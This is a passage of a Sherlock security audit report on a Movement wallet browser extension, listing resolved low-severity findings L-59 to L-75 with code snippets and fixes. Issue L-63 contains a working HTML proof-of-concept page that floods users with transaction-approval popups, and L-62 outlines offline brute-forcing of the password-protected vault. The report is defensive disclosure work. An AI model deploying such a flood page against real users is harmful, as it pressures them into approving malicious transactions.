  <Route path="/create/recovery" element={<RecoveryPhrasePage />} />
  <Route path="/create/verify" element={<VerifyPhrasePage />} />
  <Route path="/import" element={<ImportOptionsPage />} />
  <Route path="/import/phrase" element={<ImportPhrasePage />} />
  <Route path="/import/key" element={<ImportKeyPage />} />
  <Route path="/import/password" element={<ImportPasswordPage />} />
  <Route path="/success" element={<SuccessPage />} />
</Routes>
```

Tool Used

Manual Review

Recommendation

Add route guards that check required context state before rendering each step. Redirect to the first step if prerequisites are not met.

Discussion

Rahat-ch

https://github.com/MoveIndustries/motion-wallet/pull/54

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/54/changes.

Issue L-59: Unawaited `persist()` silently loses pending requests on storage failure [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/178

Summary

Session storage writes for pending transactions, sign messages, and connections are fire-and-forget. If the write fails, the request is irrecoverably lost after service worker restart.

Vulnerability Detail

At `src/background/transaction-manager.ts`, `persist()` is called without `await`. Similarly at `src/background/connection-manager.ts`, `persistConnectionRequest()` is not awaited. If `chrome.storage.session.set()` fails (quota exceeded, storage error) or the service worker terminates before the write completes, the request exists only in the in-memory Map. The popup window has already opened with the request ID, so the user sees approval UI for a request that cannot survive a restart.

Impact

Pending approval requests silently lost on storage failure. User clicks "Approve" but background has no record, returning "Transaction not found."

Code Snippet

`src/background/transaction-manager.ts` lines 75-77:

```
return new Promise((resolve, reject) => {
  pendingTransactions.set(id, { request, resolve, reject })
  persist(sKey('tx', id), request)  // Not awaited - fire and forget
```

Tool Used

Manual Review

Recommendation

Await the persist call and handle failures by notifying the caller or retrying.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/43

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/43/changes.

Issue L-60: `PrivateKeySigner.buildData` silently drops transaction value [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/179

Summary

When a transaction has both `data` (function call) and `value` (native token transfer), `PrivateKeySigner` silently discards the `value`. `WdkSigner` passes both through. This creates inconsistent behavior between wallet types.

Vulnerability Detail

At `src/services/wallet/signer.ts`, `PrivateKeySigner.buildData()` returns only the function call payload when `params.data?.function` is present, ignoring `params.to` and `params.value`. The `WdkSigner.sendTransaction()` passes both `value` and `data` to the WDK library. For bridge transactions where `value: BigInt(quote.nativeFee)` at `src/services/wallet/transaction.ts`, the PrivateKeySigner path may not properly attach the fee.

Impact

Bridge transactions may behave differently depending on wallet type.

Code Snippet

`src/services/wallet/signer.ts` lines 134-147:

```
private buildData(params: SendTransactionParams):
↪  InputGenerateTransactionPayloadData {
  if (params.data?.function) {
    return {
      function: params.data.function,
      typeArguments: params.data.typeArguments || [],
      functionArguments: (params.data.functionArguments || []) as
      ↪  SimpleEntryFunctionArgumentTypes[],
    }
    // params.to and params.value silently dropped
  }
```

Tool Used

Manual Review

Recommendation

When both `data` and `value` are present, include `value` in the transaction construction. The Aptos SDK's `build.simple` accepts a `value` parameter alongside the payload.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/52

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/52/changes.

Issue L-61: Mnemonic generation failure silently swallowed [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/180

Summary

The mnemonic generation in `CreatePasswordPage` is fire-and-forget with no error handling. If generation fails, the user proceeds through onboarding with an empty mnemonic.

Vulnerability Detail

At `src/onboarding/pages/CreatePasswordPage.tsx`, `generate()` is called without `.catch()`. If the dynamic import or `generateMnemonic()` throws, `setMnemonic()` is never called. The user can still fill in the password, proceed to the recovery phrase page (which shows an empty grid), and attempt verification with empty data.

Impact

Backend validation catches the empty mnemonic at `CREATE_WALLET` time, but the user goes through the entire flow before discovering the failure.

Code Snippet

`src/onboarding/pages/CreatePasswordPage.tsx` lines 18-29:

```
useEffect(() => {
  setFlow('create')
  const generate = async () => {
    const { generateMnemonic } = await import('@/services/wallet/account')
    const m = generateMnemonic()
    setMnemonic(m)
    // ...
  }
  generate()  // No .catch() & failure is silent
}, [setMnemonic, setVerifyIndices, setFlow])
```

Tool Used

Manual Review

Recommendation

Add `.catch()` to `generate()` and show an error state if mnemonic generation fails.

Discussion

Rahat-ch

Fixed in MoveIndustries/motion-wallet#80 – added error handling to mnemonic generation in onboarding + popup flows.

Issue L-62: Content scripts can read encrypted vaults from `chrome.storage.local` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/181

Summary

The extension declares the `storage` permission and injects a content script into every page. In Chrome MV3, content scripts inherit `chrome.storage.local` access. Any code executing in the content script's isolated world can read all encrypted vault data (ciphertext, salt, IV) needed for offline password brute-forcing.

Vulnerability Detail

At `public/manifest.json`, the extension declares `"permissions": ["storage", "alarms"]`. A content script is injected into `<all_urls>` at `document_start`. Per Chrome MV3 documentation, content scripts can directly access `chrome.storage.local` when the extension holds the `storage` permission. The encrypted vaults are stored under predictable keys defined at `src/core/storage/secure-storage.ts`: `mv_vault`, `mv_wallets`, `mv_settings`, `mv_connections`, `mv_active_wallet`.

Impact

Complete offline brute-force of the vault password.

Code Snippet

`public/manifest.json` lines 6-8:

```
"permissions": [
  "storage",
  "alarms"
],
```

Lines 23-28:

```
"content_scripts": [
  {
    "matches": ["<all_urls>"],
    "js": ["src/content/inject.ts"],
    "run_at": "document_start"
  }
],
```

`src/core/storage/secure-storage.ts` **lines 4-11:**

```
const STORAGE_KEYS = {
  VAULT: 'mv_vault',
  WALLETS: 'mv_wallets',
  SETTINGS: 'mv_settings',
  CONNECTIONS: 'mv_connections',
  // ...
}
```

Tool Used

Manual Review

Recommendation

1. Move vault storage from `chrome.storage.local` to IndexedDB accessed only from the service worker context (content scripts cannot access service worker IndexedDB).
2. Alternatively, encrypt the storage keys with a service-worker-derived secret before writing to `chrome.storage.local`.
3. Consider restricting the content script's URL matches to only the sites that need wallet injection, rather than `<all_urls>`.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/27

defsec

Fix is confirmed on https://github.com/MoveIndustries/motion-wallet/pull/27.

Issue L-63: dApp can flood user with popups [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/182

Summary

Each `signAndSubmitTransaction` and `signMessage` call opens a new approval popup window unconditionally. There is no per-origin limit on concurrent pending requests. A malicious dApp can open dozens of popups simultaneously.

Vulnerability Detail

At `src/background/transaction-manager.ts`, `requestTransactionApproval` generates a unique ID and calls `chrome.windows.create` for every request. At `src/background/index.ts`, the external handler calls `requestTransactionApproval` without checking how many requests are already pending for the origin. The rate limiter at 30 requests per 10 seconds allows 30 popups in rapid succession. Each popup persists until the user explicitly approves or rejects it.

Impact

A malicious dApp overwhelms the user with approval popups, causing confusion and frustration. In the chaos, the user may accidentally approve a malicious transaction, or the popup flood may crash the browser/extension.

Proof Of Concept

```
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>PoC: Approval Popup Flood</title>
  <style>
    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
    button { background: #222; color: #0f0; border: 1px solid #0f0; padding: 10px
    ↪  20px; cursor: pointer; margin: 5px; font-family: monospace; }
    button:hover { background: #0f0; color: #000; }
    .atk-btn { border-color: #f00; color: #f00; }
    .atk-btn:hover { background: #f00; color: #000; }
    .log { background: #000; border: 1px solid #333; padding: 10px; margin-top:
    ↪  10px; white-space: pre-wrap; max-height: 400px; overflow-y: auto; }
```

```
    h1 { color: #f00; }
    .section { margin: 20px 0; padding: 15px; border: 1px solid #333; }
  </style>
</head>
<body>
  <h1>Approval Popup Flood</h1>
  <p>Each <code>signAndSubmitTransaction</code> call opens a NEW approval popup.
  There is no limit on concurrent pending requests per origin.
  A malicious dApp can flood the user with popups.</p>

  <div class="section">
    <h3>Step 1: Connect first</h3>
    <button onclick="doConnect()">Connect Wallet</button>
  </div>

  <div class="section">
    <h3>Step 2: Flood with approval popups</h3>
    <button class="atk-btn" onclick="flood(3)">Open 3 approval popups</button>
    <button class="atk-btn" onclick="flood(5)">Open 5 approval popups</button>
    <button class="atk-btn" onclick="flood(10)">Open 10 approval popups</button>
    <p>Each popup is a separate transaction approval window.</p>
    <p>The user must close each one individually.</p>
  </div>

  <div class="log" id="log"></div>

  <script>
    function log(msg) {
      const el = document.getElementById('log');
      el.textContent += '[' + new Date().toISOString().slice(11,19) + '] ' + msg +
      ↪  '\n';
      el.scrollTop = el.scrollHeight;
    }

    async function doConnect() {
      if (!window.motionWallet) { log('Wallet not detected'); return; }
      log('Connecting...');
      try {
        const r = await window.motionWallet.features['aptos:connect'].connect();
        log('Connected: ' + (r.status === 'Approved' ? r.args.address :
        ↪  'rejected'));
      } catch (e) { log('Error: ' + e.message); }
    }

    function flood(count) {
      if (!window.motionWallet) { log('Wallet not detected'); return; }
      log('Sending ' + count + ' simultaneous transaction requests...');

      for (let i = 0; i < count; i++) {
        window.motionWallet.features['aptos:signAndSubmitTransaction']
```

```
          .signAndSubmitTransaction({
            payload: {
              function: '0x1::aptos_account::transfer',
              typeArguments: [],
              functionArguments: ['0x' + '0'.repeat(64), String(i + 1)],
            }
          })
          .then(r => log('Popup ' + (i+1) + ' result: ' + r.status))
          .catch(e => log('Popup ' + (i+1) + ' error: ' + e.message));
      }

      log(count + ' requests sent. Each opens a separate popup window.');
      log('Rate limit is 30/10s -- well above typical popup flood.');
    }

    log('PoC loaded. Motion Wallet detected: ' + !!window.motionWallet);
  </script>
</body>
</html>
```

Code Snippet

`src/background/transaction-manager.ts` **lines 75-90:**

```
return new Promise((resolve, reject) => {
  pendingTransactions.set(id, { request, resolve, reject })
  persist(sKey('tx', id), request)

  const popupUrl = chrome.runtime.getURL(...)
  chrome.windows.create({     // New popup for EVERY request
    url: popupUrl,
    type: 'popup',
    width: 375, height: 640,
    focused: true,
  })
})
```

Tool Used

Manual Review

Recommendation

Limit concurrent pending requests to 1-2 per origin. Before opening a new popup, check if one already exists for this origin and queue or reject the new request.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/46

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/46.

Issue L-64: `getNetwork` handler requires no connection [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/183

Summary

The `getNetwork` handler in `handleDappRequest` returns the user's active network name, chain ID, and RPC URL without checking `isConnected()` or `isWalletUnlocked()`.

Vulnerability Detail

At `src/background/message-handlers.ts`, the `getNetwork` case has no connection or unlock guard.

Code Snippet

`src/background/message-handlers.ts` lines 434-441:

```
case 'getNetwork': {
  const { NETWORKS } = await import('@/core/network/config')
  const net = getCurrentNetwork()
  const netConfig = NETWORKS[net]
  return netConfig
    ? { name: netConfig.name, chainId: String(netConfig.chainId), url:
    ↪  netConfig.rpc }
    : { name: 'Movement Mainnet', chainId: '126', url: '...' }
  // No isConnected() or isWalletUnlocked() check
}
```

Tool Used

Manual Review

Recommendation

Add `isConnected(origin)` check before returning network info, matching the pattern used by `getAccount`.

Discussion

Rahat-ch

https://github.com/MoveIndustries/motion-wallet/pull/53

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/53.

Issue L-65: Bridge `minAmount` hardcoded at 0.1% slippage [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/184

Summary

The bridge minimum receive amount is calculated as `(amount * 999n) / 1000n` a hardcoded 0.1% slippage tolerance that users cannot configure.

Vulnerability Detail

At `src/services/bridge/layerzero.ts`, the minimum amount is calculated as `(amount * 999n) / 1000n`. Unlike the swap page where users can set slippage from 0.1% to custom values, the bridge uses a fixed 0.1% tolerance. During volatile market conditions, this tight tolerance causes bridge transactions to revert with no user-facing explanation. Users have no way to increase the tolerance.

Impact

Bridge transactions fail during volatility with no way for the user to adjust. Repeated failures waste gas fees.

Code Snippet

`src/services/bridge/layerzero.ts` line 163:

```
const minAmount = (amount * 999n) / 1000n
```

Tool Used

Manual Review

Recommendation

Allow users to configure bridge slippage, similar to the swap page.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/45

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/45.

Issue L-66: Error oracle different error messages distinguish wrong password from corrupted vault [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/185

Summary

The unlock flow maps decryption failures to "Incorrect password" but post-decryption initialization failures throw different error messages.

Vulnerability Detail

The try-catch at `src/services/wallet/account.ts` catches only AES-GCM decryption failures and returns "Incorrect password." If the password is correct but the decrypted data is malformed, the code exits the try-catch and the subsequent `initializeFromPrivateKey` or `initializeWalletManager` call throws a different error.

Impact

Incompatible error messages.

Code Snippet

`src/services/wallet/account.ts` lines 82–97:

```
let secret: string
try {
  const raw = await Vault.decrypt(vault, password)
  secret = raw.trim().split(/\s+/).join(' ')
} catch {
  throw new Error('Incorrect password')
}

if (isPrivateKey) {
  initializeFromPrivateKey(secret.replace(/\s+/g, ''), network)
} else {
  await initializeWalletManager(secret, network)
}
```

Tool Used

Manual Review

Recommendation

Wrap the entire unlock function body in a single try-catch that always throws a generic ”Failed to unlock wallet” error regardless of where the failure occurs.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/47

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/47.

Issue L-67: Onboarding context `reset()` is never called [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/186

Summary

The `OnboardingContext` defines a `reset()` action to clear mnemonic, password, and privateKey from React state, but it is never dispatched anywhere. Secrets persist in the V8 heap for the entire tab lifetime.

Vulnerability Detail

The onboarding context at `src/onboarding/context/OnboardingContext.tsx` stores the mnemonic, password , confirmPassword, and privateKey in React state. A `reset()` action is defined at line 63 that sets all fields back to empty strings. However, no component ever calls `reset()`, not the success page (`src/onboarding/pages/SuccessPage.tsx`), not on navigation away. The secrets remain in the React state tree until the tab is closed.

Impact

Sensitive key material persists in memory longer than necessary. A heap dump or memory inspection of the onboarding tab reveals the mnemonic and password.

Code Snippet

`src/onboarding/context/OnboardingContext.tsx` line 63:

```
reset: () => setState(initialState),  // Defined but never called
```

Tool Used

Manual Review

Recommendation

Call `reset()` after successful wallet creation/import on the success page.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/54

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/54.

Issue L-68: 24-word BIP39 mnemonic import rejected [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/187

Summary

The import flow hardcodes a 12-word requirement. Users with 24-word mnemonics from Ledger, MetaMask, Phantom, or other standard wallets cannot import their wallets.

Vulnerability Detail

At `src/onboarding/pages/ImportPhrasePage.tsx`, `isValid = words.length === 12` rejects all non-12-word mnemonics. BIP39 defines valid lengths of 12, 15, 18, 21, and 24 words. The backend `validateMnemonic` from `@scure/bip39` correctly accepts all lengths, but the UI blocks them. Users may attempt entering only the first 12 words of a 24-word phrase, which fails checksum validation with a confusing "Invalid recovery phrase" error.

Impact

Users with 24-word mnemonics (256-bit entropy, used by Ledger and many other wallets) cannot import their wallets.

Code Snippet

`src/onboarding/pages/ImportPhrasePage.tsx` lines 15-21:

```
const words = mnemonic.trim().split(/\s+/).filter(Boolean)
const isValid = words.length === 12

const handleContinue = async () => {
  if (!isValid) {
    setError('Please enter exactly 12 words')
    return
```

Tool Used

Manual Review

Recommendation

Accept all valid BIP39 lengths: `[12, 15, 18, 21, 24].includes(words.length)`.

Discussion

Rahat-ch

addresssed https://github.com/MoveIndustries/motion-wallet/pull/54

Issue L-69: Indexer `query()` does not check HTTP status before JSON parse [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/188

Summary

The GraphQL `query()` function calls `response.json()` without first checking `response.ok`. Non-200 responses (502, 429, 503) with non-JSON bodies cause a `SyntaxError` that masks the real HTTP error.

Vulnerability Detail

At `src/core/network/indexer.ts`, `response.json()` is called unconditionally. A 502 Bad Gateway returning an HTML error page causes `SyntaxError: Unexpected token '<'`. In `getTransactionHistory`, the `.catch(() => null)` swallows this entirely, silently returning zero transactions with no indication the indexer is down.

Impact

Error masking.

Code Snippet

`src/core/network/indexer.ts` lines 23-29:

```
const response = await fetch(config.indexer, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ query: queryString, variables }),
})
const result: GraphQLResponse<T> = await response.json()  // No response.ok check
```

Tool Used

Manual Review

Recommendation

Add `if (!response.ok) throw new Error('Indexer returned HTTP ' + response.status)` before `response.json()`.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/50

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/50.

Issue L-70: `RENAME_WALLET` accepts arbitrary-length names without validation [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/189

Summary

The `renameWallet` function accepts any string for the wallet name with no length or character validation. Extremely long names persist to storage and can degrade UI rendering.

Vulnerability Detail

At `src/services/wallet/account.ts`, `wallet.name = name` is set without validation. At `src/background/message-handlers.ts`, the handler passes the name directly. A 1MB string persisted as a wallet name consumes storage quota and causes the WalletSwitcher dropdown to freeze when rendering.

Impact

Storage quota pressure and UI degradation from internal message callers.

Code Snippet

`src/services/wallet/account.ts` lines 378-384:

```
export async function renameWallet(walletId: string, name: string): Promise<void> {
  const wallets = await secureStorage.getWallets()
  const wallet = wallets.find(w => w.id === walletId)
  if (!wallet) throw new Error('Wallet not found')
  wallet.name = name  // No length/character validation
  await secureStorage.saveWallets(wallets)
}
```

Tool Used

Manual Review

Recommendation

Clamp name length to 32 characters. Strip control characters.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/56

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/56/changes.

Issue L-71: Keyring singleton exports unguarded `getMnemonic()` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/190

Summary

An unused `Keyring` class is exported as a singleton with a `getMnemonic()` method that provides zero-authentication access to the mnemonic. While currently dead code, it represents an unnecessary attack surface.

Vulnerability Detail

At `src/core/crypto/keyring.ts`, the `getMnemonic()` method returns the raw mnemonic string. A singleton instance is exported. The wallet currently uses `WalletManagerMovement` instead, but the export remains accessible to any module in the extension.

Impact

No current vulnerability, but a maintenance risk. If any code accidentally imports `keyring`, it bypasses all authentication to access the mnemonic.

Code Snippet

`src/core/crypto/keyring.ts` lines 85-87, 108:

```
getMnemonic(): string | null {
  return this.state?.mnemonic ?? null
}
// ...
export const keyring = new Keyring()
```

Tool Used

Manual Review

Recommendation

Remove the dead `Keyring` class and its singleton export.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/59

Issue L-72: `addAccount` derived HD accounts are ephemera [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/191

Summary

`addAccount()` derives a new HD account and adds it to in-memory arrays but never persists the account index. On lock/unlock or service worker restart, all additional accounts disappear.

Vulnerability Detail

At `src/services/wallet/account.ts`, `addAccount` derives the next HD index, creates a signer, and pushes to `cachedSigners` and `cachedAccounts`. No call to `secureStorage` persists the new index. On `unlockWallet`, `initializeWalletManager` only derives index 0. All additional accounts are silently lost.

Impact

A user who adds a second account, receives funds on it, then locks/unlocks the wallet no longer sees that account or its balance. The funds remain on-chain and are recoverable by re-adding the account, but the user perceives a loss.

Code Snippet

`src/services/wallet/account.ts` lines 202-211:

```
export async function addAccount(): Promise<WalletAccount> {
  if (!walletManager) throw new Error('Wallet not unlocked or not a mnemonic
  ↪  wallet')
  const nextIndex = cachedSigners.length
  const account = await walletManager.getAccount(nextIndex)
  const signer = new WdkSigner(account)
  await signer.initialize()
  cachedSigners.push(signer)
  const formatted = formatAccountFromSigner(signer, account.index)
  cachedAccounts.push(formatted)
  return formatted
  // No secureStorage.saveAccountIndices() or similar
}
```

Tool Used

Manual Review

Recommendation

Persist the list of derived account indices in the wallet entry. On unlock, derive all persisted indices, not just index 0.

Discussion

Rahat-ch

https://github.com/MoveIndustries/motion-wallet/pull/49

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/49/changes

Issue L-73: Activity `amount: number` type causes BigInt crash for large token amounts [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/192

Summary

The indexer activity response types `amount` as `number` instead of `string`. For amounts >= 1e21, JavaScript's `String()` produces scientific notation (`"1e+21"`), and `BigInt("1e+21")` throws a SyntaxError, crashing the Activity page.

Vulnerability Detail

At `src/core/network/indexer.ts`, `amount` is typed as `number`. Compare with the balance response at line 58 which correctly types `amount` as `string`. For a token with 18 decimals, 1000 tokens = 1e21 raw units, a routine amount. `String(1e21)` produces `"1e+21"`, and `BigInt("1e+21")` throws. Additionally, amounts between 2^53 and 1e21 silently lose precision when parsed as JavaScript Number, causing transactions to display incorrect amounts or merge into single records.

Impact

Transactions involving large token amounts crash the Activity page entirely.

Code Snippet

`src/core/network/indexer.ts` lines 109-119:

```
interface AssetActivitiesResponse {
  fungible_asset_activities: Array<{
    transaction_version: number
    type: string
    amount: number      // Should be string for BigInt compatibility
    asset_type: string
    // ...
  }>
}
```

Tool Used

Manual Review

Recommendation

Change `amount: number` to `amount: string` in `AssetActivitiesResponse`. Update the GraphQL query to request the amount as a string type if the indexer supports it.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/50

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/50.

Issue L-74: Null metadata in indexer response crashes balance fetch [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/193

Summary

If the indexer returns any balance entry where `metadata` is null, the entire balance fetch crashes. The error handler silently replaces all real balances with a zero MOVE balance, hiding the user's actual holdings.

Vulnerability Detail

At `src/core/network/indexer.ts`, `getTokenBalances` maps over `current_fungible_asset_balances` and accesses `b.metadata.name`, `b.metadata.symbol`, etc. If any entry's `metadata` is null (valid for newly created fungible assets whose metadata hasn't been indexed yet), accessing `b.metadata.name` throws `TypeError: Cannot read properties of null`. This single poisoned entry kills the entire `.map()`. The outer catch in `src/services/wallet/balance.ts` silently returns `[{ amount: '0', metadata: MOVE_TOKEN }]`, hiding all real balances.

Impact

A single token with null metadata on the indexer causes all users who hold that token to see a zeroed-out balance screen.

Code Snippet

`src/core/network/indexer.ts` lines 74-84:

```
return data.current_fungible_asset_balances.map(b => ({
  assetType: b.asset_type,
  amount: b.amount,
  metadata: {
    assetType: b.asset_type,
    name: b.metadata.name,       // Crashes if metadata is null
    symbol: b.metadata.symbol,
    decimals: b.metadata.decimals,
    iconUri: b.metadata.icon_uri || DEFAULT_ICON_URIS[b.metadata.symbol] ||
    ↪  undefined,
  },
}))
```

`src/services/wallet/balance.ts` **lines 48-54:**

```
} catch {
  return [{
    assetType: MOVE_TOKEN.assetType,
    amount: '0',              // All balances replaced with zero
    metadata: MOVE_TOKEN,
  }]
}
```

Tool Used

Manual Review

Recommendation

Add null guard: `if (!b.metadata) return null` and filter nulls from the result.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/50

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/50.

Issue L-75: Frontend supplied BridgeQuote executed without re-validation [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/194

Summary

The `EXECUTE_BRIDGE` handler receives the entire `BridgeQuote` object from the popup and passes it directly to the on-chain transaction builder. No field is re-validated between quoting and execution ,`recipientBytes32`, `dstEid`, `nativeFee`, and `minAmount` are all trusted from the popup payload.

Vulnerability Detail

`buildBridgePayload` at `src/services/bridge/layerzero.ts` only checks that the token exists in `BRIDGEABLE_TOKENS`. It never verifies that `recipientBytes32` is consistent with `recipient`, that `dstEid` equals `ETHEREUM_CHAIN.eid` (30101), that `minAmount` is properly derived from `amount`, or that `nativeFee` is within reasonable bounds. The `EXECUTE_BRIDGE` handler at `src/background/message-handlers.ts` passes the entire quote from the popup payload. A tampered quote object (via XSS in the popup, a compromised extension, or React state mutation) can redirect bridged funds.

Impact

Fund redirection.

Code Snippet

`src/background/message-handlers.ts` **lines 236-243:**

```
EXECUTE_BRIDGE: async (payload) => {
  const { network, accountIndex, quote } = payload as {
    network: string
    accountIndex: number
    quote: BridgeQuote
  }
  const result = await executeBridge(network, accountIndex, quote)
  return { result }
},
```

`src/services/bridge/layerzero.ts` **lines 220-243:**

```
export function buildBridgePayload(quote: BridgeQuote): BridgePayload {
  const token = getBridgeableToken(quote.token)
  if (!token) throw new Error('Token not supported for bridging')
  const recipientBytes = hexToBytes(quote.recipientBytes32)
  return {
    function: `${token.oftAddress}::oft::send_withdraw`,
    functionArguments: [
      quote.dstEid,          // Not validated against ETHEREUM_CHAIN.eid
      recipientBytes,        // Not validated against quote.recipient
      quote.amount,
      quote.minAmount,       // Not validated against amount
      LZ_EMPTY_OPTIONS, LZ_COMPOSE_MSG, LZ_OFT_CMD,
      quote.nativeFee,       // No upper bound check
      quote.zroFee,
    ],
  }
}
```

Tool Used

Manual Review

Recommendation

Re validate all quote fields in `executeBridge` before submission: verify `dstEid === ETHEREUM_CHAIN.eid`, verify `recipientBytes32 === evmAddressToBytes32(recipient)`, verify `minAmount >= (amount * 999n) / 1000n`, and cap `nativeFee` against a reasonable maximum.

Discussion

Rahat-ch

adressed https://github.com/MoveIndustries/motion-wallet/pull/45

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/45.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.